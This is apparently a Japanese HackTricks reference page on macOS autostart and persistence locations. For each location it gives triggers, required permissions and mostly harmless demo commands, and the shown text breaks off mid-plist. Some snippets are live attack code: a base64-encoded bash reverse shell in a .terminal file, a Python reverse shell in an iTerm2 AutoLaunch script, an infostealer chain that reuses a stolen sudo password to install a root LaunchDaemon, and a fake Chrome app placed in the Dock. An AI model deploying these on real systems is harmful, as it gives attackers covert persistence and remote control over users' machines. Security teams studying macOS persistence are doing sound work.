macOS 自動起動
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このセクションはブログシリーズ Beyond the good ol’ LaunchAgents に強く基づいており、目的は より多くの Autostart Locations を追加(可能な場合)、最新の macOS (13.4) で どの技術がまだ動作するか を示し、必要な permissions を明示することです。
Sandbox Bypass
Tip
ここでは sandbox bypass に有用な起動場所を紹介します。これにより、単にファイルに書き込み、非常に一般的なアクション、所定の時間、または sandbox 内から通常実行できるアクションを待つだけで何かを実行できます(root 権限は不要です)。
Launchd
Locations
/Library/LaunchAgents- トリガー: 再起動
- Root required
/Library/LaunchDaemons- トリガー: 再起動
- Root required
/System/Library/LaunchAgents- トリガー: 再起動
- Root required
/System/Library/LaunchDaemons- トリガー: 再起動
- Root required
~/Library/LaunchAgents- トリガー: 再ログイン
~/Library/LaunchDemons- トリガー: 再ログイン
Tip
興味深い事実として、
launchdは Mach-o セクション__Text.__configに埋め込まれた property list を持ち、そこには launchd が起動すべき他のよく知られたサービスが含まれています。さらに、これらのサービスはRequireSuccess,RequireRunおよびRebootOnSuccessを含むことがあり、これはそれらが実行され正常に完了しなければならないことを意味します。もちろん、code signing のため変更できません。
Description & Exploitation
launchd は起動時に OS X カーネルによって実行される最初のプロセスであり、シャットダウン時に最後に終了するプロセスです。常に PID 1 を持ちます。このプロセスは以下の ASEP の plists に示された設定を読み取り実行します:
/Library/LaunchAgents: 管理者によってインストールされたユーザー単位のエージェント/Library/LaunchDaemons: 管理者によってインストールされたシステム全体のデーモン/System/Library/LaunchAgents: Apple が提供するユーザー単位のエージェント/System/Library/LaunchDaemons: Apple が提供するシステム全体のデーモン
ユーザーがログインすると、/Users/$USER/Library/LaunchAgents および /Users/$USER/Library/LaunchDemons にある plists はログイン中のユーザーの権限で起動されます。
エージェントとデーモンの主な違いは、エージェントはユーザーがログインしたときに読み込まれ、デーモンはシステム起動時に読み込まれる点です(ssh のようにユーザーがアクセスする前に実行される必要があるサービスがあるため)。また、エージェントは GUI を使用できる一方で、デーモンはバックグラウンドで動作する必要があります。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
ユーザがログインする前にagentを実行する必要があるケースがあり、これをPreLoginAgentsと呼びます。例えば、ログイン時に支援技術を提供するのに有用です。/Library/LaunchAgentsにも見つかります(例はhereを参照)。
Tip
新しい Daemons や Agents の設定ファイルは次回再起動後に、または
launchctl load <target.plist>を使って読み込まれます。拡張子なしの .plist ファイルはlaunchctl -F <file>で読み込むことも可能です(ただしそれらの plist ファイルは再起動後に自動で読み込まれません)。
またlaunchctl unload <target.plist>でunloadすることも可能です(指定されたプロセスは終了します)。Agent や Daemon の実行を妨げる何か(override のようなもの)がないことを確認するには、次を実行してください:
sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
現在のユーザが読み込んでいるすべての agents と daemons を一覧表示:
launchctl list
例: 悪意のある LaunchDaemon チェーン (password reuse)
最近の macOS infostealer は、captured sudo password を再利用して、ユーザーエージェントと root LaunchDaemon を配置しました:
- エージェントのループを
~/.agentに書き込み、実行可能にする。 - そのエージェントを指す plist を
/tmp/starterに生成する。 - 盗まれたパスワードを
sudo -Sと共に再利用して/Library/LaunchDaemons/com.finder.helper.plistにコピーし、root:wheelを設定してlaunchctl loadでロードする。 - 出力を切り離すために
nohup ~/.agent >/dev/null 2>&1 &を使ってエージェントをサイレントに起動する。
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &
Warning
plistがユーザー所有であれば、たとえdaemonのシステム全体のフォルダ内にあっても、タスクはrootではなくそのユーザーとして実行される。これは一部の権限昇格攻撃を防ぐ可能性がある。
launchdに関する詳細
launchdはカーネルから起動される最初のユーザーモードプロセスです。プロセスの開始は必ず成功しなければならず、終了やクラッシュが許されません。さらに一部のkillシグナルからも保護されています。
launchdが最初に行うことの一つは、次のようなdaemonsをすべて起動することです:
- Timer daemons(時間ベースで実行される):
- atd (
com.apple.atrun.plist):StartIntervalが 30min - crond (
com.apple.systemstats.daily.plist):StartCalendarIntervalで 00:15 に開始 - Network daemons の例:
org.cups.cups-lpd: TCPでリッスン(SockType: stream)し、SockServiceName: printer- SockServiceName はポートか
/etc/servicesのサービス名でなければなりません com.apple.xscertd.plist: TCPのポート1640でリッスン- Path daemons(指定したパスが変更されたときに実行される):
com.apple.postfix.master:/etc/postfix/aliasesパスを監視- IOKit notifications daemons:
com.apple.xartstorageremoted:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...- Mach port:
com.apple.xscertd-helper.plist:MachServicesエントリにcom.apple.xscertd.helperという名前を示している- UserEventAgent:
- これは前述のものとは異なります。特定のイベントに応じて launchd によってアプリを起動させます。ただし、この場合の主要バイナリは
launchdではなく/usr/libexec/UserEventAgentです。プラグインは SIP 制限されたフォルダ/System/Library/UserEventPlugins/からロードされ、各プラグインはXPCEventModuleInitializerキーで初期化子を示すか、古いプラグインではInfo.plistのCFPluginFactories辞書内のキーFB86416D-6164-2070-726F-70735C216EC0の下で示します。
shell startup files
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
Locations
~/.zshrc,~/.zlogin,~/.zshenv.zwc,~/.zshenv,~/.zprofile- Trigger: zshでターミナルを開く
/etc/zshenv,/etc/zprofile,/etc/zshrc,/etc/zlogin- Trigger: zshでターミナルを開く(root権限が必要)
~/.zlogout- Trigger: zshのターミナルを終了する
/etc/zlogout- Trigger: zshのターミナルを終了する(root権限が必要)
- 詳細は:
man zsh ~/.bashrc- Trigger: bashでターミナルを開く
/etc/profile(動作しなかった)~/.profile(動作しなかった)~/.xinitrc,~/.xserverrc,/opt/X11/etc/X11/xinit/xinitrc.d/- Trigger: xtermでトリガーされることが想定されるが、xtermはインストールされておらず、インストール後も次のエラーが発生する: xterm:
DISPLAY is not set
Description & Exploitation
zsh や bash といったシェル環境を起動する際に、特定の起動ファイルが実行されます。macOSは現在デフォルトシェルとして /bin/zsh を使用しています。このシェルは Terminal アプリを起動したときや SSH 経由でデバイスにアクセスしたときに自動的に使われます。bash や sh も macOS に存在しますが、明示的に呼び出す必要があります。
zsh の man ページ(man zsh で読める)は、起動ファイルに関する長い説明を含んでいます。
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
再オープンされるアプリケーション
Caution
記載された exploitation の設定やログアウト/ログイン、あるいは再起動を行っても、私の環境ではアプリが実行されませんでした。(アプリが実行されていなかったためかもしれません。これらの操作を行う際にアプリが既に起動している必要があるのかもしれません)
Writeup: https://theevilbit.github.io/beyond/beyond_0021/
場所
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist- Trigger: Restart reopening applications
説明 & Exploitation
再度開かれるすべてのアプリケーションは plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist の中にあります。
つまり、再オープンされるアプリケーションを自分のアプリにさせるには、単にアプリをリストに追加するだけです。
UUID はそのディレクトリを一覧表示するか、ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' で見つけられます。
再オープンされるアプリケーションを確認するには次を実行できます:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
このリストにアプリケーションを追加するには、次を使用できます:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Terminal の設定
場所
~/Library/Preferences/com.apple.Terminal.plist- トリガー: Terminalを開く
説明と悪用
~/Library/Preferences にはアプリケーションのユーザー設定が保存されています。これらの設定の一部は、他のアプリケーションやスクリプトを実行する設定を含むことがあります。
例えば、Terminalは起動時にコマンドを実行できます:
.png)
この設定はファイル ~/Library/Preferences/com.apple.Terminal.plist に次のように反映されます:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
つまり、システム内の terminal の設定 plist が上書き可能であれば、open 機能を使って terminal を開き、そのコマンドを実行させることができます。
You can add this from the cli with:
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
Terminalスクリプト / その他のファイル拡張子
Location
- Anywhere
- Trigger: Open Terminal
Description & Exploitation
もし**.terminal**スクリプトを作成して開くと、Terminal applicationが自動的に起動してそこに記載されたコマンドを実行します。Terminalアプリが特別な権限(例えばTCC)を持っている場合、あなたのコマンドはその特権で実行されます。
Try it with:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.
Caution
If terminal has Full Disk Access it will be able to complete that action (note that the command executed will be visible in a terminal window).
Audio Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
場所
/Library/Audio/Plug-Ins/HAL- root権限が必要
- Trigger: Restart coreaudiod or the computer
/Library/Audio/Plug-ins/Components- root権限が必要
- Trigger: Restart coreaudiod or the computer
~/Library/Audio/Plug-ins/Components- Trigger: Restart coreaudiod or the computer
/System/Library/Components- root権限が必要
- Trigger: Restart coreaudiod or the computer
説明
前述の writeups によれば、オーディオプラグインをコンパイルしてロードさせることが可能です。
QuickLook Plugins
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
場所
/System/Library/QuickLook/Library/QuickLook~/Library/QuickLook/Applications/AppNameHere/Contents/Library/QuickLook/~/Applications/AppNameHere/Contents/Library/QuickLook/
説明と悪用
QuickLook プラグインは、ファイルのプレビューをトリガーしたとき(Finderでファイルを選択してスペースバーを押す)に、当該ファイルタイプをサポートするプラグインがインストールされていれば実行されます。
自分の QuickLook プラグインをコンパイルして、前述のいずれかの場所に配置するとロードされ、対応するファイルでスペースを押すことでトリガーできます。
ログイン/ログアウトフック
Caution
This didn’t work for me, neither with the user LoginHook nor with the root LogoutHook
Writeup: https://theevilbit.github.io/beyond/beyond_0022/
場所
- 次のようなコマンドを実行できる必要があります:
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh Located in~/Library/Preferences/com.apple.loginwindow.plist
これらは非推奨ですが、ユーザーがログインしたときにコマンドを実行するために使えます。
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
この設定は /Users/$USER/Library/Preferences/com.apple.loginwindow.plist に保存されています。
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
削除するには:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
root ユーザーのものは /private/var/root/Library/Preferences/com.apple.loginwindow.plist に格納されています
条件付き Sandbox Bypass
Tip
ここでは、sandbox bypass に便利な開始場所を示します。これは、ファイルに書き込むこと によって単に何かを実行し、特定の プログラムのインストール、“あまり一般的でない” ユーザー の操作や環境など、あまり一般的でない条件を期待することで実行できる手法です。
Cron
Writeup: https://theevilbit.github.io/beyond/beyond_0004/
Location
/usr/lib/cron/tabs/,/private/var/at/tabs,/private/var/at/jobs,/etc/periodic/- 直接書き込みアクセスには root が必要です。
crontab <file>を実行できる場合は root は不要です - Trigger: cron ジョブに依存
説明 & Exploitation
次のコマンドで現在のユーザーの cron ジョブを列挙します:
crontab -l
ユーザーのcron jobsは、/usr/lib/cron/tabs/ と /var/at/tabs/ で確認できます(root権限が必要)。
MacOSでは、スクリプトを一定の頻度で実行するいくつかのフォルダが次の場所にあります:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
そこでは通常の cron jobs、at jobs(あまり使われない)、および periodic jobs(主に一時ファイルのクリーンアップに使用)を確認できます。日次の periodic jobs は例えば: periodic daily で実行できます。
ユーザーの user cronjob programatically を追加するには、次の方法が使えます:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
解説: https://theevilbit.github.io/beyond/beyond_0002/
場所
~/Library/Application Support/iTerm2/Scripts/AutoLaunch- トリガー: iTerm を開く
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt- トリガー: iTerm を開く
~/Library/Preferences/com.googlecode.iterm2.plist- トリガー: iTerm を開く
説明と悪用
~/Library/Application Support/iTerm2/Scripts/AutoLaunch に保存されたスクリプトは実行されます。例えば:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
または:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
スクリプト ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt も実行されます:
do shell script "touch /tmp/iterm2-autolaunchscpt"
iTerm2 の環境設定ファイル ~/Library/Preferences/com.googlecode.iterm2.plist は、iTerm2 ターミナルが開かれたときに実行するコマンドを示すことがあります。
この設定は iTerm2 の設定で構成できます:
.png)
そして、そのコマンドは環境設定に反映されます:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
実行するコマンドは次のように設定できます:
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
Warning
非常に高い確率で other ways to abuse the iTerm2 preferences が存在し、任意のコマンドを実行できます。
xbar
Writeup: https://theevilbit.github.io/beyond/beyond_0007/
Location
~/Library/Application\ Support/xbar/plugins/- Trigger: xbar が起動されたとき
Description
人気のあるプログラム xbar がインストールされている場合、~/Library/Application\ Support/xbar/plugins/ にシェルスクリプトを書いておくことで、xbar 起動時にそのスクリプトが実行されます:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
解説: https://theevilbit.github.io/beyond/beyond_0008/
場所
~/.hammerspoon/init.lua- トリガー: hammerspoon が実行されたとき
説明
Hammerspoon は macOS 向けの自動化プラットフォームで、LUA スクリプト言語 を利用して動作します。完全な AppleScript コードの統合やシェルスクリプトの実行をサポートしており、スクリプト機能を大幅に拡張します。
アプリは単一のファイル ~/.hammerspoon/init.lua を参照し、起動時にそのスクリプトが実行されます。
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- サンドボックスを回避するのに有用: ✅
- ただし BetterTouchTool がインストールされている必要がある
- TCC bypass: ✅
- Automation-Shortcuts と Accessibility の権限を要求する
Location
~/Library/Application Support/BetterTouchTool/*
このツールは、特定のショートカットが押されたときに実行するアプリケーションやスクリプトを指定できる。攻撃者はデータベースに自分の ショートカットと実行するアクション を設定し、任意のコードを実行させることが可能かもしれない(ショートカットは単にキーを押すことでもよい)。
Alfred
- サンドボックスを回避するのに有用: ✅
- ただし Alfred がインストールされている必要がある
- TCC bypass: ✅
- Automation、Accessibility、さらには Full-Disk access の権限を要求する
Location
???
特定の条件が満たされたときにコードを実行するワークフローを作成できる。攻撃者がワークフローファイルを作成して Alfred に読み込ませることが可能かもしれない(ワークフローを使うにはプレミアム版の購入が必要)。
SSHRC
Writeup: https://theevilbit.github.io/beyond/beyond_0006/
Location
~/.ssh/rc- Trigger: ssh 経由でのログイン
/etc/ssh/sshrc- Root 権限が必要
- Trigger: ssh 経由でのログイン
Caution
ssh を有効にするには Full Disk Access が必要:
sudo systemsetup -setremotelogin on
説明と悪用
デフォルトでは、/etc/ssh/sshd_config に PermitUserRC no が設定されていない限り、ユーザが SSH 経由でログイン するとスクリプト /etc/ssh/sshrc と ~/.ssh/rc が実行される。
Login Items
Writeup: https://theevilbit.github.io/beyond/beyond_0003/
Locations
~/Library/Application Support/com.apple.backgroundtaskmanagementagent- Trigger: ログイン
- 悪用用のペイロードは
osascriptを呼び出す形で保存される /var/db/com.apple.xpc.launchd/loginitems.501.plist- Trigger: ログイン
- Root 権限が必要
Description
System Preferences -> Users & Groups -> Login Items には、ユーザがログインしたときに実行される項目 がある。
コマンドラインからそれらを一覧表示、追加、削除することが可能だ:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
These items are stored in the file ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
ログイン項目は API SMLoginItemSetEnabled を使って示されることもあり、その設定は /var/db/com.apple.xpc.launchd/loginitems.501.plist に保存されます。
ZIP をログイン項目として
(前節のログイン項目を参照、これは拡張です)
ZIP ファイルを ログイン項目 として保存すると、Archive Utility がそれを展開します。例えば ZIP が ~/Library に保存され、フォルダ LaunchAgents/file.plist が含まれており、その中に backdoor がある場合、そのフォルダは作成され(デフォルトでは作成されません)、plist が追加されるため、次回ユーザがログインしたときに plist に示された backdoor が実行されます。
別の方法として、ユーザの HOME 内に .bash_profile と .zshenv を作成しておくことで、もし LaunchAgents フォルダが既に存在していてもこの手法は機能します。
At
Writeup: https://theevilbit.github.io/beyond/beyond_0014/
場所
atを実行でき、かつ有効になっている必要があります
説明
at タスクは特定の時間に実行される単発のタスクをスケジュールするために設計されています。cron ジョブとは異なり、at タスクは実行後に自動的に削除されます。これらのタスクはシステムの再起動後も持続する点に注意が必要で、特定の条件下ではセキュリティ上の懸念となり得ます。
デフォルトでは無効になっていますが、root ユーザは次のコマンドで有効にできます:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
これにより1時間後にファイルが作成されます:
echo "echo 11 > /tmp/at.txt" | at now+1
ジョブキューを atq: で確認します。
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
上には2つのジョブがスケジュールされているのが見えます。at -c JOBNUMBER を使ってジョブの詳細を表示できます。
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
Warning
AT tasks が有効になっていない場合、作成された tasks は実行されません。
これらの job files は /private/var/at/jobs/ にあります。
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
ファイル名にはキュー、ジョブ番号、そして実行予定時刻が含まれます。例えば a0001a019bdcd2 を見てみましょう。
a- これはキューです0001a- ジョブ番号(16進数)、0x1a = 26019bdcd2- 時刻(16進数)。これは epoch から経過した分数を表します。0x019bdcd2は10進数で26991826です。これに60を掛けると1619509560になり、GMT: 2021. April 27., Tuesday 7:46:00となります。
ジョブファイルを出力すると、at -c で得たのと同じ情報が含まれていることがわかります。
フォルダアクション (Folder Actions)
Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- サンドボックスの回避に有用: ✅
- ただし、Folder Actions を設定するには引数付きで
osascriptを呼び出し、System Eventsに連絡できる必要がある - TCC 回避: 🟠
- Desktop, Documents and Downloads のような基本的な TCC 権限を持っている
場所
/Library/Scripts/Folder Action Scripts- Root 権限が必要
- Trigger: 指定フォルダへのアクセス
~/Library/Scripts/Folder Action Scripts- Trigger: 指定フォルダへのアクセス
説明と悪用
Folder Actions は、フォルダ内の項目の追加・削除、フォルダウィンドウの開閉やサイズ変更などの変化によって自動的にトリガーされるスクリプトです。これらのアクションは様々なタスクに利用でき、Finder UI やターミナルコマンドなど、異なる方法でトリガーできます。
Folder Actions を設定する方法としては、例えば次のようなオプションがあります:
- Automator を使って Folder Action ワークフローを作成し、サービスとしてインストールする。
- フォルダのコンテキストメニューにある Folder Actions Setup からスクリプトを手動で添付する。
- OSAScript を利用して Apple Event メッセージを
System Events.appに送信し、プログラムで Folder Action を設定する。
- この方法はアクションをシステムに埋め込み、ある程度の永続性を持たせるのに特に有用です。
以下のスクリプトは、Folder Action によって実行され得る例です:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
上記のスクリプトを Folder Actions で使用できるようにするには、次のコマンドでコンパイルしてください:
osacompile -l JavaScript -o folder.scpt source.js
スクリプトをコンパイルしたら、以下のスクリプトを実行して Folder Actions を設定します。このスクリプトは Folder Actions をグローバルに有効化し、先にコンパイルしたスクリプトを Desktop フォルダに紐付けます。
// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
次のコマンドでセットアップスクリプトを実行します:
osascript -l JavaScript /Users/username/attach.scpt
- これは GUI を介してこの persistence を実装する方法です:
これが実行されるスクリプトです:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
次のコマンドでコンパイルします: osacompile -l JavaScript -o folder.scpt source.js
次の場所へ移動します:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
次に、Folder Actions Setup app を開き、監視したいフォルダを選択し、今回の場合は folder.scpt(私の場合は output2.scp と名付けました)を選択します:
.png)
そのフォルダを Finder で開くと、スクリプトが実行されます。
この設定は base64 形式で plist に保存され、場所は ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist です。
では、GUI アクセスなしでこの永続化を準備してみます:
~/Library/Preferences/com.apple.FolderActionsDispatcher.plistをコピーしてバックアップを/tmpに保存します:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- 設定した Folder Actions を削除します:
.png)
これで環境が空になりました
- バックアップファイルをコピー:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/ - この設定を読み込むために Folder Actions Setup.app を開きます:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
Caution
ただし私の環境では動作しませんでしたが、これは writeup の手順です:(
Dock ショートカット
Writeup: https://theevilbit.github.io/beyond/beyond_0027/
場所
~/Library/Preferences/com.apple.dock.plist- Trigger: ユーザーが Dock 内のアプリをクリックしたとき
説明と悪用
Dock に表示されるすべてのアプリケーションは plist 内に指定されています: ~/Library/Preferences/com.apple.dock.plist
次のようにしてアプリケーションを追加できます:
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
いくつかのsocial engineeringを使うと、Dock内で例えばGoogle Chromeを偽装して、実際に自分のスクリプトを実行できます:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
